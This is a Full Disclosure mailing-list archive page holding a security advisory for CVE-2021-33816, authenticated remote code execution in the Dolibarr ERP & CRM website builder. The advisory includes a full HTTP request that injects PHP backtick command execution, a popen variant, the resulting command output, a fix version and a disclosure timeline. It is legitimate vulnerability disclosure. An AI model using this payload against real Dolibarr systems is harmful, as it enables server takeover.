



Site Search



[Full Disclosure](#) mailing list archives



[By Date](#) [By Thread](#)

List Archive Search



## Trovent Security Advisory 2106-01 / CVE-2021-33816: Authenticated remote code execution in Dolibarr ERP & CRM

*From:* Stefan Pietsch <s.pietsch () trovent io>  
*Date:* Wed, 10 Nov 2021 11:40:41 +0000

# Trovent Security Advisory 2106-01 #  
#####

Authenticated remote code execution in Dolibarr ERP & CRM  
#####

Overview  
#####

Advisory ID: TRSA-2106-01  
Advisory version: 1.0  
Advisory status: Public  
Advisory URL: <https://trovent.io/security-advisory-2106-01>  
Affected product: Dolibarr ERP & CRM  
Tested versions: Dolibarr 13.0.2  
Vendor: Dolibarr foundation, <https://www.dolibarr.org>  
Credits: Trovent Security GmbH, Nick Decker

Detailed description  
#####

During our security research Trovent Security discovered that the Dolibarr application on default settings allows remote code execution in the website builder module. When trying to use statements like "exec()", "system()" or "shell\_exec()" the application blocks them correctly. But we were able to execute code using "" (backticks) which is the same as "shell\_exec()" or "echo fread(popen('/bin/ls /', 'r'), 4096);".

Severity: Critical  
CVSS Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)  
CWE ID: CWE-94  
CVE ID: CVE-2021-33816

Proof of concept  
#####

This is the HTTP request that creates a website with the malicious code:

REQUEST:

```
~~~~~

POST /website/index.php HTTP/1.1
Host: 10.11.9.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----243035796342141148842632336365
Content-Length: 937
Origin: http://10.11.9.80
Connection: close
Referer: http://10.11.9.80/website/index.php
Cookie: DOLSESSID 736206a821984837877b8a6a901910d2=v459clrdeu9lpfc20se8s0rg4d;
DOLUSERCOOKIE_boxfilter_task=all-securitytest-for-dolibarr
Upgrade-Insecure-Requests: 1

- -----243035796342141148842632336365
Content-Disposition: form-data; name="token"

f8c257168a5ae06fdlaee2ba4c45ebf9
- -----243035796342141148842632336365
Content-Disposition: form-data; name="backtopage"

- -----243035796342141148842632336365
Content-Disposition: form-data; name="action"

updatesource
- -----243035796342141148842632336365
Content-Disposition: form-data; name="website"

test
- -----243035796342141148842632336365
Content-Disposition: form-data; name="pageId"

1
- -----243035796342141148842632336365
Content-Disposition: form-data; name="update"

Save
- -----243035796342141148842632336365
Content-Disposition: form-data; name="PAGE_CONTENT"

<?php
echo `uname -a`;
?>
- -----243035796342141148842632336365--
~~~~~
```

CODE:

The website now displays the output of the command:

```
~~~~~

[...]  
<div id="websitecontentundertopmenu" class="websitecontentundertopmenu bootstrap-iso">  
<!-- style of website from file -->  
<style scoped="">
```

```
/* Include website CSS file */
/* CSS content (all pages) */
body, bodywebsite { margin: 0; font-family: 'Open Sans', sans-serif; }
bodywebsite h1 { margin-top: 0; margin-bottom: 0; padding: 10px; } /* Include style from the HTML header of page */

</style>
<div id="divbodywebsite" class="bodywebsite bodywebpage-tsets">

Linux ec9465c86e5e 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux

</div></div>
[...]
```

~~~~~

Solution / Workaround  
#####

We recommend to disable the 'websites' module in Dolibarr until a fixed version is deployed.

Fixed in Dolibarr version 14.0.0, verified by Trovent.

History  
#####

2021-06-01: Vulnerability found  
2021-06-02: CVE ID requested  
2021-06-03: CVE ID received  
2021-06-09: Vendor contacted  
2021-06-10: Vendor reported the vulnerability as fixed  
2021-11-08: Add information about fixed version  
2021-11-10: Advisory published

**Attachment:** [signature.asc](#)  
*Description:* OpenPGP digital signature

---





Sent through the Full Disclosure mailing list  
<https://nmap.org/mailman/listinfo/fulldisclosure>  
Web Archives & RSS: <http://seclists.org/fulldisclosure/>

---

[By Date](#) [By Thread](#)

### Current thread:

**Trovent Security Advisory 2106-01 / CVE-2021-33816: Authenticated remote code execution in Dolibarr ERP & CRM** *Stefan Pietsch (Nov 12)*

|                              |                             |                       |                       |                            |                                                                                                                                                                           |
|------------------------------|-----------------------------|-----------------------|-----------------------|----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Nmap Security Scanner</b> | <b>Npcap packet capture</b> | <b>Security Lists</b> | <b>Security Tools</b> | <b>About</b>               |     |
| Ref Guide                    | User's Guide                | Nmap Announce         | Vuln scanners         | About/Contact              |                                                                                                                                                                           |
| Install Guide                | API docs                    | Nmap Dev              | Password audit        | Privacy                    |   |
| Docs                         | Download                    | Full Disclosure       | Web scanners          | Advertising                |                                                                                                                                                                           |
| Download                     | Npcap OEM                   | Open Source Security  | Wireless              | Nmap Public Source License |                                                                                                                                                                           |
| Nmap OEM                     |                             | BreachExchange        | Exploitation          |                            |                                                                                                                                                                           |